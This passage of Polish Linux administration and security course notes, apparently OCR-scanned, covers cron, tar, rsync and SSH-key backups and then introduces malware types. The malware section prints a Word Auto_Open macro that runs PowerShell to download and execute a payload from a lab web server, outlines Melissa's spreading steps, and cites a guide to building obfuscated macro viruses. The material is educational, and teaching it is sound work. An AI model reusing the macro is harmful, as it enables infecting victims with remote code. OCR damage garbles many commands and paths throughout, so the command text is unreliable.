posiadanych nosnikéw. Dane uzytkownika (np. zawarto$¢ bazy danych) ulegaja jednak nieustannej zmianie, stad
potrzeba mozliwie czestgl ich archiwizacji. Archiwizacja danych powinna sie odbywa¢ automatyczniei stad oméwiony
bedzie demon czasowy cr on.

7.2 Demon czasowy cron

W systemach komputerowych czgsto zachodzi potrzeba uruchamiania pewnych ustug z okreslonym interwatem
czasowym lub tez w okreslonych momentach czasu. Czynnosci takie moga by¢ wykonane przez demonacr on. Czy
demon cr on jest uruchomiony mozemy sprawdzi¢ za pomoca polecenia

#/etc/init.d/cron status

lub jak ponizey:

# systenctl status cron
e cron.service - Regul ar background program processi ng daenon
Loaded: | oaded (/1ib/systend/systenicron.service; enabled; vendor preset: ena
Active: active (running) since Wed 2018-10-24 10:55:56 EDT; 2h 16m n ago
Docs: man: cron(8)
Main PID: 382 (cron)
Tasks: 1 (limit: 4915)
CG oup: /systemslicel/cron.service
L_382 /usr/sbin/cron —f

Przyktad 7-1 Sprawdzenie czy demon cron jest aktywny

Demon wykorzystuje tablice (ang. cr ont abs) okreslajace kiedy maja by¢ wykonane czynnosci. Tablice te zawarte s3
w katalogu/ var / spool / cron/ cr ont abs. W ponizszym przyktadzie widzimy takie tabele dla uzytkownikow
root ictest.

# 1s -l /var/spool/cron/crontabs

total 8

SrW--- - - 1 ctest crontab 1145 Sep 19 12: 09 ctest
SrW------ 1 root crontab 1138 Sep 19 11:50 root

Tablicecr ont abs nie powinny by¢ edytowane bezposrednio ale za pomoca poleceniacr ont ab.

crontab [ -u user ] file
crontab [ -uwuser 1 [ -i 1 { -e| -1 | -r}

Gdzie:

r — usun tablice crontab

e — edytujetablice crontab

| — listuj tablice crontab

-u user — nazwauzytkownika
file - nazwapliku crontab

Tablicacr ont ab sktadasie z linii, z ktérych kazda definiuje czas wykonania poleceniai zawiera tez pewne polecenie.
Skiadnialinii pokazanajest ponizej.
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* * * * * pol eceni e do wykonani a

| | | | I

| | | | +o-m - dzi en tygodnia (0 - 7), niedziela=0
| | | Fomm - - - mesiac (1 - 12)

| | S - dzien mesiaca (1 - 31)

| oo godzina (0 - 23)

oo mnuta (0 - 59)

Tab. 7-1 Sktadnialinii tabeli crontab

Dni tygodnia oznaczane sa jako: ni edzi el a=0, poni edzi atek=1, wtorek=2,..,ni edzi el a=7. Niedziela
moze by¢ przedstawionajako 0 lub 7. W tabeli cr ont ab dlakazdego z parametréw mozna stosowaé:

Wyliczenia, pozycje oddzielone przecinkiem, np. 5, 10, 30 * * * * pol eceni e co znaczy wykong
polecenie w minucie 5,10,30.
Przedziaty, pozycje oddzielone znakiem-,np 0,30 7-15 * * * pol eceni e coznaczy wykongj
polecenie w minucie 0,30 w godzinach od 7 do 15
Interwaly, po pozycji znak */interwat, np. */ 10 * * * * pol eceni e co znaczy wykong polecenie co 10
minut.
Gdy w linii maby¢ zdefiniowane kilka zadan nalezy rozdzieli¢ je srednikiem, np. jak ponizej.

O 30 * * * * pol eceni el; pol ecenie2

Oprdécz wymienionych oznaczen mozna stosowa¢ dodatkowe oznaczenia dane w ponizszej tabeli.

Lancuch Znaczenie

@ eboot Wkonaj raz przy starcie.

@early Wkonaj raz do roku, “0 0 1 1 *".
@nnual ly |(tak sanp jak @early)

@mwont hl y Wkonaj raz w mesiacu, “0 0 1 * *",
@weekl y Wkonaj raz wtygodniu, “0 0 * * 0",

@lai l y Wkonaj raz dziennie, “0 0 * * *”,
@i dni ght |(tak sanp jak @laily)
@ourly Wkonaj raz na godzine, “0 * * * *7

Tab. 7-2 Dodatkowe oznaczenia tabeli crontab

Nalezy zauwazy¢ ze w przypadku polecen uruchamianych przez demonacr on wystepuje problem z okresleniem
srodowiskai st andar d i nput/ out put . Jako ze zadania uruchamiane przez cr on nie majg standardowego
wyjscia, nie powinny generowa¢ zadnych komunikatéw. Osiggane jest to poprzez podany nizej sposob.

* * * polecenie > /dev/null 2>&1

Pierwsza czgs¢ czyli > /dev/null znaczy ze standardowe wyjscie nalezy skierowa na urzadzenie wirtualne /dev/null
gdzie znaki s3 ignorowane. Druga cze$¢ wyrazenia 2>& 1 znaczy ze standardowe wyjscie btedéw (ma uchwyt 2) bedzie
skierowane na na standardowe wej $cie (ma uchwyt 1). Rezultatem bedzie brak jakichkolwiek komunikatéw. Gdyby
komunikaty miaty si¢ pojawi¢ kierowane sa na poczte elektroniczna danego uzytkownika. W tabeli cr ont ab nalezy
okresli¢ srodowisko a przyktad tabeli podano ponize.

# crontab -|

SHELL=/ bi n/ bash

MAI LTO=r oot @xanpl e. com

PATH=/ bi n: / sbi n: /usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

# Zapisuj co minute i co godzine w mes. 10 tekst do rejestru /var/log/user.|og
* k% 10 * | ogger -p user.info To jest wpis z crona

# Zapisuj co minute i co godzine obciazenie systenu do pliku /tnp/obciaz.txt
ok ok X ok uptinme >> /tnp/obciaz. txt

Przyktad 7-2 Przyktad tablicy cr ont ab
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Inne przyktady wpisow do tabeli crontab podano ponizej:

# Urucham aj programsal co 10 m nut

*/10 * * * * root /usr/lib/sysstat/sal 1 1
# Urucham aj program sa2 codziennie o 23:53
53 23 * * * root /usr/lib/sysstat/sa2 -A

Istnienie demonacr on niesie ze soba pewne zagrozenie. Uzytkownicy maja mozliwosé, zajego posredni ctwem,
uruchamiania zadan w momencie gdy nie s3 zalogowani w systemie (moze sa juz daleko). Zadania takie moga by¢
destruktywne. Srodkiem zaradczym jest mozliwosé dozwolenia uruchamiania zadan czasowych tylko pewnym
uzytkownikom (zaufanym). W tym celu nalezy utworzy¢ plik / et ¢/ cron. al | ow.

#t ouch /etc/cron. all ow

Gdy taki plik istnigje, wszyscy uzytkownicy nie bedace uzytkownikiemr oot , achcacy korzysta¢ z demonacr on,
musza by¢ w tym pliku wymienieni. Gdy chcemy aby tylko pewni uzytkownicy nie mogli korzysta¢ z crona nalezy
utworzy¢ plik / et ¢/ cr on. deny i tam umiesci¢ ich nazwy. Gdy oba pliki istnigja dziatanie jest takie jakby istniat
tylkoplik/ et ¢/ cron. al | ow.

Systemowatabelacr ont ab
W Linuksieistnigje systemowatabela/ et ¢/ cr ont ab definiujaca czynnosci terminowe wykonywane na potrzeby
systemu. Moze ona by¢ podobna do tej w ponizszym przyktadzie.

# run-parts

SHELL=/ bi n/ sh

PATH=/ usr /1 ocal / sbin:/usr/local /bin:/sbin:/bin:/usr/sbin:/usr/bin
01 * * * * root run-parts /etc/cron. hourly

05 3 * * * root run-parts /etc/cron.daily

20 3 * * 0 root run-parts /etc/cron.weekly

40 3 1 * * root run-parts /etc/cron.nmonthly

Przyktad 7-3 Przyktadowatabela/ et ¢/ cr ont ab

W zdefiniowanych terminach program r un- par t s uruchamiawszyskie skrypty zawarte w katalogu podanym jako
argument. Zauwazmy, ze w odréznieniu od zwyktych cr ont abs ta zawiera pole odpowiadajace nazwie uzytkownika
Tym sposobem otrzymujemy alternatywng metode wykonywania czynnosci okresowych. Listujac, jak ponizej
zawartos¢ katalogu / et ¢/ cron. dai | y/ otrzymujemy liste skryptow ktére raz dziennie maja by¢ wykonane.

# |s /etc/cron.daily/

Oanacron bsdmai nutils debt ags logrotate ntp sysst at
apache2 chkr oot ki t dpkg nman- db passwd tripwire
apt-conpat cracklib-runtinme exim-base mocate sanba

Tak wiec jezeli chcemy aby jakas czynnos¢ byta wykonanaraz dziennie, kopiujemy odpowiedni skrypt do katalogu
/etc/cron.daily.

7.3 Archiwizacjalokalna

Podstawowym narzedziem archiwizacji jest programt ar . Pozwala on archiwizowa¢ i odtwarza¢ pliki i cate katal ogi
(tacznie z podkatalogami). Nalezy zauwazyé¢, ze archiwizowane s takze atrybuty pliku, takie jak jego wiasciciel, grupa
i prawa dostepu.

tar [-xtrcvof] [nazwa_archiwun] [pliKki]
Opcje:

X - odczytuje podane pliki z nazwa_archiwum

¢ - tworzy nowe nazwa_archiwum; usuwajac to, co byto w nazwa_archiwum

v - wyswietlanie nazw dotgczanych plikéw

o0 - pliki odczytywane z nazwa_archiwum otrzymuja nazwe wiascicielai grupy, jaka ma osoba je odczytujaca
f - uzywa archiwum o nazwie nazwa_archiwum

t - wyswietla nazwy plikow, krére zngjdujg sie w nazwa_archiwum

r - dodaje pliki do nazwa_archiwum
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nazwa_archiwum - nazwa pliku, do ktdrego maja zosta¢ starowane pliki
pliki - pliki, ktére maja zosta¢ wiaczone do archiwum

Przyktady wykorzystania poleceniat ar :

Utworzenie archiwum o nazwie ar ch. t ar z wszystkich plikow z rozszerzeniem c z katal ogu biezacego.
tar -cvf arch.tar *.c

Utworzenie archiwum w formaciet gz (tar, gnu zi p) onazwiebus. t gz z zawartosci katalogu BUS
tar -czf bus.tgz BUS

Listowanie zawartosci archiwum bus. t gz
tar -tvf bus.tgz

Rozpakowanie zawartosci archiwum bus. t gz do biezacego katalogu
tar —xvf bus.tgz

Rozpakowanie zawartosci archiwum bus. t gz do katalogu/ t np
tar —xvf bus.tgz -C /tnp

Utworzone programemt ar archiwum powinno by¢ skopiowane nainny nosnik jak: dysk przenosny USB, inny dysk,
dysk sieciowy, inny komputer.

7.4 Archiwizacja sieciowa

7.4.1 Kopiowanieplikow przez sie¢
Kopie archiwalne, ze wzgledu na aspekt bezpieczenstwa, dobrze jest przechowywac¢ na zdalnym komputerze. Do
przesytania archiwum nainny komputer mozemy uzy¢ wspomnianego juz programu scp.

scp [opcje][[uzytkowni k@] host1l:]plikl [[uzytkowni k@]host2:]plik2
Pokazuje to ponizszy przyktad.

# scp bus-lab2.tar.gz juka@92.168. 0. 125:
j uka@92. 168. 0. 125' s passwor d:
bus-1ab2.tar. gz 100% 226KB  8.4MB/s 00: 00

Jak juz wspomniano dane powinny by¢ archiwizowane automatycznie, apliki archiwalne nalezy kopiowaé przez siec.
Wystepuje tu jednak problem podawania hasta ktére musi by¢ wpisane manualnie. Istnigje jednak sposob unikniecia
koniecznosci recznego wpisywania haset. Zostanie on przedstawiony ponizej. Aby skopiowa¢ dane do zdalnego
komputera jako uzytkownik juka nalezy:

Krok 1
Wygenerowa¢ klucz w komputerze lokalnym dla uzytkownika root poleceniem.

# ssh-keygen -t rsa
Napytania o plik z kluczem i frazy wcisna¢ enter. Klucz bedzie zapisany w pliku/ root /. ssh/id_rsa

CGenerating public/private rsa key pair.

Enter file in which to save the key (/root/.ssh/id_rsa):
Ent er passphrase (enmpty for no passphrase):

Enter same passphrase again:

Your identification has been saved in /root/.ssh/id _rsa.
Your public key has been saved in /root/.ssh/id_rsa. pub.

Krok 2

Zapomoca programu scp skopiowac¢ klucz w postaci pliku / root /. ssh/i d_r sa. pub do katalogu domowego
uzytkownika juka komputera zdal nego.

# scp /root/.ssh/id rsa.pub juka@?92.168.0.125: ~/
Tutaj jeszcze trzeba poda¢ hasto.

Krok 3

Zalogowac si¢ nazdalny komputer jako uzytkownik j uka:
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ssh juka@92.168.0. 125

Tutaj znowy trzeba poda¢ hasto. Nastepnie na zdalnym komputerze w katalogu domowym uzytkownikaj uka (tzn.
/ hone/ j uka) utworzy¢ katalog .ssh (oilenieistnigje). Dalgj doda¢ klucz z plikui d_r sa. pub do pliku
/ horre/ j uka/ . ssh/ aut hori zed_keys.

nkdir .ssh
cat id_rsa.pub >> .ssh/authorized_keys
rmid_rsa. pub

Dalg nalezy dla bezpieczenstwa zmieni¢ prawadostepu pliku aut hori zed_keys
$chnod 600 ~/.ssh/authorized keys
Po wykonaniu tych krokéw uzytkownik j uka moze logowat si¢ na zdalny komputer bez podawania hasta.

# ssh juka@92.168.0. 125
Wel cone to Ubuntu 16.04.3 LTS (GNU Li nux 4.13.0-37-generic i686)

Przy kopiowaniu plikow na zdalny komputer narzedziem scp czy tez archiwizacji narzedziemr sync nietrzeba
bedzie podawac hasta co jest istotne przy automatycznym wykonywaniu tych czynnosci.

742 Serwer WWW

O ile na naszym serwerze zainstalowany jest Python to tatwo za jego pomoca mozna udostepni¢ system plikéw (lub
jego czesc) w sieci za pomoca prostego serwera WWW. Aby go uruchomi¢ nalezy wykonat polecenie:

# python -m Si npl eHTTPSer ver
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.0.102 - - [24/Cct/2018 15:22:27] "GET / HITP/1.1" 200 -

Przyktad 7-4 Uruchomienie serwera WWW z Pythona

W powyzszym przyktadzie, system plikow udostepniony bgdzie pod adresem 192. 168. 0. 102 naporcie 8000 co
mozna zobaczy¢ uruchamiajac przegladarke.

Directory listing for / x E

&« ¢ o @ 192.168.0.204:3000

| @' Pierwsze kroki £} Czesto odwiedzane @ Pierwsze kroki

| Directory listing for /

« BUS/
s bustgz
® progwps/

Przyktad 7-5 Dostep do plikow serwera za pmoca przegladarki

74.3 Programrsync

Program r sync umozliwiaw jednokierunkows synchronizacje danych katal ogu zrédta z katal ogiem docelowym. Oba
katalogi moga si¢ znajdowat w réznych komputerach. W takim przypadku synchronizacja odbywa si¢ przez siec.
Standardowo do przesytania danych uzywany jest protokét SSH.

rsync [opcje]... SRC [SRC]... DEST
rsync [opcje]... SRC [SRC]... [USER@ HOST: DEST
rsync [opcje]... SRC [SRC]... rsync://[ USER@ HOST[ : PORT] / DEST
rsync [opcje]... [USER@ HOST: SRC [ DEST]
Opcje:
-V : obszernewyjasnienia
-1 : kopiuje dane rekursywnie ale nie zachowuje atrybutow czasowych i pozwolen
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-a : trybarchiwizacji kopiuje, dane rekursywniei zachowuije atrybuty takie jak pozwolenia, uzytkownicy,
grupy, linki, czasy

-z . wykonuje kompresie

-h : wyniki w postaci czytelngj dla cztowieka

-n : wykong dziatanie probne nie powodujac skutkow

Prostym sposobem wykonania archiwizacji plikow jest polecenie:
rsync plikl plik2 .... uzytkowni k@onputer:

Ponizgj podano przyktad kopiowaniapliku bus. t gz nakomputer o adresieIP 192. 168. 0. 125
# rsync -v bus.tgz juka@92.168.0.125:

j uka@92. 168. 0. 125' s password:

bus.tgz

sent 2,745 bytes received 4,031 bytes 1,505.78 bhytes/sec

total size is 465,600 speedup is 68.71

W powyzszym przyktadzie na komputer 192. 168. 0. 125 przestano pojedynczy plik ktory znagjdzie si¢ w katalogu
domowym uzytkownikaj uka. Gdy chcemy przenies¢ dany podkatal og tacznie z dowigzaniami symbolicznymi nalezy
uzy¢ opcji —a. Pokazuje to ponizszy przyktad w ktérym skopiowano katalog pr og.

# rsync -va prog juka@92.168.0.125:
j uka@92. 168. 0. 125' s password:
sending increnmental file |ist

sent 307,512 bytes received 1,324 bytes 56,152.00 bytes/sec
total size is 302,720 speedup is 0.98

Przy kopiowaniu catych katalogoéw do innych katalogéw pojawiaja si¢ rozne problemy. Na przyktad:

Jak postapi¢ gdy w katalogu docelowym istnieja juz pewne pliki
Czy nadpisywac istnigjace pliki
Jak pomija¢ wybrane pliki
Czy stosowa¢ kompresie
O zachowaniu sie programu w takich przypadkach decyduja jego opcje. W ponizszym przyktadzie zastosowano

kompresi¢ a katalog prog z komputera zrodtowego znajdzie si¢ w katalogu / hone/ j uka/ backup komputera
docel owego.

# rsync -avz prog juka@92.168.0.125: backup

j uka@92. 168. 0. 125' s password:

sending incremental file |ist

sent 1,939 bytes received 31 bytes 437.78 bytes/sec
total size is 302,720 speedup is 153.66

Jezeli chcemy mie¢ pewnos¢ ze dane nie zostang podstuchane mozna do przesytania uzy¢ protokotu ssh ktéry
specyfikuje sie w opcji —e ssh. Pokazuje to ponizszy przykiad.

# rsync -avze ssh prog juka@92.168.0.125: backup

Program r sync moze takze stuzy¢ do kopiowania plikdw/katal ogdéw z komputera zdalnego nalokany. W ty celu jako
pierwszy argument nalezy poda¢ nazwe komputerai katalog zdalny ajako drugi katalog lokalny.

rsync —a konputer: kat al og_zdal ny kat al og_I okal ny

Kopie waznych danych powinny by¢ wykonywane automatycznie. Tak wiec nalezy zdefiniowa¢ odpowiednig linie w
pliku cr ont ab. Przyktad w ktorym codziennie o 14.15 wykonywana jest kopia katalogu pr og na zdalny komputer
dany jest ponizej

1514* * *rsync-aprog juka@92.168. 0. 125: backup
Inny przyktad automatycznej archiwizacji podany jest ponizej.

05 0 * * * rsync -av /root/|ab/BUS/ bus-|ab2.tar.gz juka@92.168. 0. 125:/ backup
>> [t mp/ backup. | og
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7.5 Zadania

75.1 Zadania czasowe, demon crontab
Skonfiguruj demonacr ont ab tak aby co minute, w godzinach od 8 do 20 wpisywa¢ do pliku/ t np/ obci az. | og
obcigzenie systemu podawane poleceniem upt i ne.

7.5.2 Zadania czasowe, demon crontab, logger
Wykonaj zadanie jak powyzej, ale wyniki dziatania programu uptime maja by¢ wpisane do rejestru systemowego
/var /| og/user.| og.

75.3 Logowaniesie na zdalny komputer bez podawania hasta
Skonfiguruj zdalny komputer tak aby mozna si¢ na niego zalogowac i kopiowac pliki bez podawania hasta.

75.4 Archiwizacja okresowa, narzedzie tar
Skonfiguruj demonacr ont ab tak aby co 5 minut wykonywaé archiwizacje katalogu/ r oot / | ab za pomoca
archiwizatorat ar do plikur oot backup. t gz i przesyta¢ plik nainny komputer (polecenie scp).

7.5.5 Archiwizacja okresowa, narzedzie rsync

Wykonaj archwizacj¢ wybranego katalogu lokalnego np. / r oot / | ab i zapisz wynik na zdalnym komputerze.
Skonfiguruj demonacr ont ab tak aby co 5 minut wykonywac archiwizacje katalogu/ r oot / | ab za pomoca
archizatorar sync nazdalny komputer. Zapisz wyniki w pliku rejestrowym / var / | og/ user . | og
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8. Zlosliwe oprogramowanie (ang. malware)
Wedtug dokumentu NIST SP 800-3 ztosliwe oprogramowanie to: ,, program wstawiany do systemu, zwykle potajemnie,
wecelu wyrzadzenia szkdd w poufnosci, nienaruszalnosci lub dostepnosci danych ofiary ataku”. Brak jednoznacznego
systemu klasyfikacji ztosliwego oprogramowania. Klasyfikacja bazuje na:

Sposobie rozprzestrzeniania: kon trojanski, robak, wirus

Ladunku: szpiegowanie, rozsytanie spamu, zamianaw zoombie

Nazwa ztosliwe oprogramowanie (ang. malware) obejmuje:

konie trojanskie,

wirusy,

robaki,

oprogramowanie szpiegujace
rootkity,

wieleinnych.

Programy te rozprzestrzeniaja sie w rdzny sposob, gtéwnie przez sie¢ i infekujg komputery bez wiedzy i zgody ich
wilascicieli. Programy takie powstaja gtdwnie z motywagcji finansowej aich funkcje to:

Rozsytanie spamu reklamowego

Instalacjaw komputerach , tylnych drzwi” (ang. back door) umozliwigjgcych przejecie kontroli nad komputerem
Zamiana komputeraw ,,zoombi€” ktory na zlecenie przez sie¢ wysyta zadane tresci, np. realizuje atak DoS (ang.
Denial of Service) polegajacy na przeciazeniu danego serwera obstugujacego klientdw lub udostepniajacego
wazne dane.

Szyfrowanie dysku wiasciciela komputeraw celu wymuszenia okupu.

Wykradanie informacji o uzytkowniku komputerai przekazywanie ich do centrali (np. monitor nacisnig¢
klawiatury). Przyktadem moze by¢ wykradanie numerdw kart kredytowych, haset bankowych, kradziez
tozsamosci.

Wplywanie nawyniki wyborow, manipulacja opinia publiczna

Zmiana adresu startowego przegladarki.

Obecnie ztosliwe oprogramowanie stanowi powazny problem. Powody jego rozprzestrzeniania sg rézne. Ngjwazniejsze
to:

Dominacja jednego systemu operacyjnego: Windows 90%

Strategia firmy Microsoft (atakze innych) ktdrych wynikiem jest dominacja tatwosci uzytkowania kosztem
bezpieczenstwa.

Lgczenie komputerOw w sieci

Popularyzacja ,kompletéw napastniczych” (ang. crimeware) czyli zestawOw narzedzi za pomocs ktérych nawet
niezbyt wprawny programista moze skonstruowa¢ ztosliwe programy.

Zmiana charakteru atakéw. Dawnigj byty to pojedyncze osoby chcace zademonstrowaé swe umigjetnosci. Obecnie
sato sektor podziemnej ekonomii sprzedajacy narzedzia ataku, dostep do pokonanych komputeréw i kradziezy
informacji.

Tres¢ tego rozdziatu oparta zostata gtéwnie o informacje podane w ksigzce A. Tannenbauma 1].

8.1 Konietrojanskie

Konie trojanskie s3 oprogramowaniem w postaci réznych pozornie uzytecznych programoéw, ktore uzytkownik
instaluje z wtasnej woli. Takie oprogramowanie to gry, odtwarzacze multimedialne, programy do kopiowania
zabezpieczonych nosnikéw i wiele innych. Oprocz deklarowanych funkgji, kon trojanski realizuje inne funkcje o
ktorych wiasciciel komputera nic nie wie. Powstaje pytanie jak kon trojanski miatby by¢ uruchamiany. Stosowane sg
rézne metody. Jedna z nich jest nadanie mu nazwy podobnej do popularnych programéw (np. | a) i liczenie nato ze
operator popetni pomytke wpisujac | a zamiast | s. Program trojana musi by¢ w jednym z katal ogéw zawartych w
sciezce poszukiwan.

$echo $PATH

fusr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
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8.2 Wirusy

Wirusjest programem zdolnym do reprodukcji poprzez dotaczanie si¢ do innych programéw. Dziatanie to jest
analogiczne do wirusow biologicznych ktére wmontowuja swoj kod genetyczny (DNA, RNA) w inne komorki. Wirus
jest rozprzestrzeniany za pomoca programu zarazajacego. Moze to by¢ pozornie pozyteczny program jak gra,
odtwarzacz multimedialny itp. Wirus pozostaje nieaktywny do czasu uruchomienia zarazonego programu. Gdy taki
program zostanie uruchomiony, zaraza on inne programy. Gdy spetnione s3 pewne warunki (np. okreslona data czy
komunikat z sieci) wirus wykonuje wiasciwy kod ktéry realizuje dlaktérej wirus zostat zbudowany. Moze to by¢
rozsytanie spamu reklamowego, atak DOS czy inna akcja. W wirusie wyodrgbnia si¢ trzy czesci:

Mechanizm infekcji — srodki za pomoca ktorych wirus sie rozprzesrzenia

Wyzwalacz (ang. trigger) — zdarzenie powoduj ace aktywacje tadunku

Ladunek (ang. payload) — to co wirus robi
Wirus moze zrobi¢ tylko to na co pozwalaja prawa dostepu przypisane danemu programowi. Stad istone jest sciste
definiowaniei ograniczanie uprawnien programow i uzytkownikow.
8.21 Wirus pasozytniczy
Wirusy pasozytnicze (ang. parasitic viruses) dotgczaja sie do programéw wykonywal nych naich poczatku, koncu lub
srodku.

Kod programu wirus

Kod programu

wirus

nagléwek nagléwek

A) Wirus na poczatku programu B) Wirus na koncu programu

Rys. 8-1 Kod wirusa na poczatku A) i nakoncu programu B)

W kazdym z tych przypadkéw nalezy zmodyfikowaé nagtdwek programu tak by wskazywat ma poczatek kodu wirusa.
Wiele kompilatoréw umieszcza kod w segmentach zaokraglanych do pewng) wielkosci, np. 1 KB. Wirus moze si¢
ukry¢ w nie w petni wykorzystanych segmentach.

8.22 Wirusy rezydujacew pamieci

Wirusy rezydujace w pamieci (ang. memory resident viruses) na state pozostaja w pamieci operacyjnel komputera.
Zwykle modyfikuja ktorys z wektoréw przerwan lub putapek ktory to wektor wskazuje na kod wirusa a dopiero
stamtad wywotuje wiasciwg funkcje. Tym sposobem wirus moze zmodyfikowat wywotanie systemowe (np. funkcje
exec). Kazdorazowe wywotanie systemowe z jakiegokolwiek procesu powoduje wykonanie kodu wirusa, a dopiero
potem wiasciwg funkcje. Kod takiego wirusawykonuje si¢ w trybie jadra co jest szczegdlnie niebezpieczne.

wirus
kod obslugi kod obslugi
wektora n wektora n
wektory wektor n wektor n
przerwan
A) przed infekcjg B) Po infekciji
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Rys. 8-2 Wirusrezydujacy w pamieci

8.2.3 Wirusy sektora startowego

Wirusy sektora startowego naleza do bardzo popularnych wiruséw. Aby zrozumie¢ ich dziatanie nalezy przesledzié
proces startu komputerai dziatanie BIOS. BIOS (ang. Basic Input Output System) zapewnia dostep do podstawowych
komponentéw komputera. Jego zadanie to miedzy innymi uruchomienie programu fadujgcego system operacyjny.
Zatadowane z wybranego dysku pierwsze 512 bajtéw tadowane jest do pami¢ci operacyjnej pod adres 0000:7C00 a
nastepnie sterowanie przekazywane do rozkazu znajdujacego sie pod adresem 0000:7C00. Wykonywany jest kod
programu fadujagcego MBR (ang. Master Boot Record). Program MBR bada ktéra partycjajest aktywnai z tej partycji
tadowany i wykonywany jest program tadujacy IPL (ang. Initial Program Loader). Funkcja I PL to tadowanie obrazu
systemu operacyjnego do pamieci, inicjacja kontrolera pamieci, zegarai dalgj przekazanie sterowania do kodu inicjacji
systemu.

0x000

Kod programu ladujgcego
MBR

0x1BE Partycja 0

Partycja 1

Tablica partycji
Partycja 2

Partycja 3

Ox1FE OxAA55

Rys. 8-1 Struktura sektora tadujacego MBR

Wirusy sektora startowego nadpisuja kod MBR i kopiuje swéj kod ukryty na dysku (moga by¢ wykorzystane sektory
oznaczone jako uszkodzone) do pamieci operacyjnej. Natym etapie nie dziata jeszcze system operacyjny i nieaktywne
sg programy antywirusowe. Dalej wykonywany jest oryginalny program MBR ktéry taduje system operacyjny. Kod
wirusa moze by¢ uruchamiany poprzez przejecie wektorOw przerwan i przez to wywotan systemowych.

system
operacyjny

wirus >

pulapka
wywolan syst.

wektory przerwan

Rys. 8-2 Wirus sektora startowego

8.24 Wirusy w makrach

Dokumenty Worda, Excela, PDF i inne moga zawiera¢ tak zwane makra. Makra moga zawierat programy napisane w
jezyku Visual Basic i sg interpretowane w czasie odczytu dokumentu. Dokument moze by¢ przestany poczta
elektroniczna do innych w postaci zatacznika. Otwarcie zainfekowanego zatacznika spowoduje wykonanie makr atym
samym akcji zarazaniainnych plikéw [ub innych wrogich dziatan. Wirusy w makrach sa dosé¢ tatwe do napisania.
Makropolecenia, o ustalonych nazwach, wykonuja sie automatycznie w okreslonych sytuacjach. Przyktadowo:

AutoExec - rozpoczecie pracy.

AutoNew - utworzeniu howego dokumentu.
AutoOpen - otwieraniu dokumentu.
AutoClose - zamykanie dokumentu.
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AutoExit - konczenie pracy.

Makropolecenia wykorzystuja Power Shel | . Windows Power Shel | jest to interpreter polecen opracowany przez
firme Microsoft. Jest znacznie bardziej rozbudowany w stosunku do wezesniejszych interpreterow COMMAND.COM
i, crmd. exe. PowerShell jest zintegrowany z .NET Framework i dostarcza srodowisko do wykonywania zadan
administracyjnych. Jedny z pierwszych makrowirusow byt wirus Melissa zawarty w dokumencie Worda. Jego otwarcie
powoduje uruchomienie kodu wirusa. Szkic dziatania tego wirusa podany jest ponizej.

1. Wylacz menu Macro i inne zabezpieczenia
2. Skopiu kod do szablonu Normal.
3. Jesli wrejestrze nieistnigie klucz Melissato pod pierwsze 50 adresow z ksigzki adresowej poczty wydlij email z
dotgczonym zainfekowanym dokumentem.
Subject: Important Message From <???7?7?>
Body: Hereisthat document you asked for... don't show anyone else ;-)
Attachment: itself, named "list.doc"

4. Utwérz w rgjestrze klucz Melissa.
Przyktad postepowania prowadzacego do utworzenia makro wirusa dokumentu Word podany jest w https://null-

byte.wonderhowto.com/how-to/create-obfuscate-virus-inside-microsoft-word-document-0167780/. Kroki dziatania sg
nastepujace:

1. Zapomocg narzedzia Social-Engineer Toolkit z Kali Linux sporzadza sie tadunek (wirusa) o nazwie
payl oad. t xt .

2. W Kali Linux uruchamiasi¢ serwer WWW apache i umieszcza tadunek w katalogu / var / www
3. Tworzy si¢ dokument Worda o nazwie Evi | . docmktory zawiera ponizej dane makro.

4. Otwarcie dokumentu powoduje zatadowanie wirusai wykonanie jego kodu.
5

Makro tadujace wirusa moze by¢ ukryte w postaci fancuchaw kodzie HEX.

Sub Auto_Open()

" Aut o_Open Makro

' Makro utworzone 2017-09-20 przez ul aj ew

Di m exec As String

exec = "powershell.exe ""IEX ((new object

net . webclient). downl oadstring(' http://192.168. 0. 204/ payl oad.txt "))"""
Shel | (exec)

End Sub

Przyktad 8-1 Makro dokumentu Word tadujace wirusa ze strony WWW

8.25 Wirusy w kodzie zr 6dlowym

Wirusy moga by¢ takze ukryte w kodzie zrédtowym. Gdy uzytkownik skompilujei uruchomi taki program, wirus
odnajduje inne pliki z kodem zrodiowym i je infekuje. Kod wirusa moze by¢ ukryty w tablicy zawierajacej binarne
dane.

8.2.6  Rozprzestrzenianie si¢ wirusow

Rozprzestrzenianie wirusow moze si¢ odbywa¢ za pomocs réznych scenariuszy. Poczatkowo wirus moze by¢ zawarty
w kodzie uzytecznego programu typu shareware (odtwarzacz multimedialny, konwerter plikdw, gra) i umieszczony na
witrynie internetowej skad pobierany jest przez uzytkownika. Nastgpnie zaraza pliki wykonywal ne uzytkownika. Gdy
ten udostepnia pliki innym uzytkownikom kolejne komputery sa zarazane. |nnym sposobem rozprzestrzeniania
wirusow jest sie¢. Wykorzystywane sg mechanizmy:

Zdalna konsola

M echanizm przesytanie plikow

Zdalne wykonywanie programéw i procedur
Strony internetowe

Zataczniki poczty elektroniczne)

Jeszcze innym sposobem rozprzestrzeniania wirusdw sa przenosne napedy USB i dyski CD.
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8.3 Robaki

Robaki (ang. Worms) to ztosliwe samo rozpowszechnigjace si¢ programy ktére zostaty stworzone z mysla o
generowaniu ztosliwych atakéw. Istnigje réznica pomiedzy wirusem arobakiem. Wirus to kod, ktory dotgcza sie do
jakiegos programu i jest wykonywany, kiedy uzytkownik uruchomi ten program. Wirus nie jest samodzielnym
programem ale potrzebuje pliku nosicielai tylko tak jest w stanie przenosi¢ si¢ nainne komputery. W przeciwienstwie
do tego robak przenos si¢ samodzielnie. Klasycznym przyktadem jest historyczny robak utworzony w roku 1988 przez
Roberta Morrisa (Morris Worm) ktéry to wykryt dwa bledy w systemie Berkeley UNIX. Robak sktada sie z dwéch
programow: programu inicjujacego i wiasciwego robaka. Program inicjujacy jest niewielkim programem — sktada si¢ z
99 wierszy kodu w C. Jego zadaniem jest nawigzanie potaczenia z komputerem z ktdrego program trafit i pobranie
przez sie¢ wiasciwego robaka. Po uruchomieniu robak kamuflowat sie¢ w systemie i sprawdzat z jakimi komputerami w
sieci mozna nawigza¢ potaczenie. Nastepnie tgczyt sie | umieszczal tam program inicjujacy. Wykorzystywat do tego
celu trzy sposoby:

Uruchomienie zdalngj powtoki r sh i liczenie ze nie bedzie wymagane uwierzytelnienie
Wykorzystanie luki w programief i nger
Wykorzystanie btedu w programie sendmai |

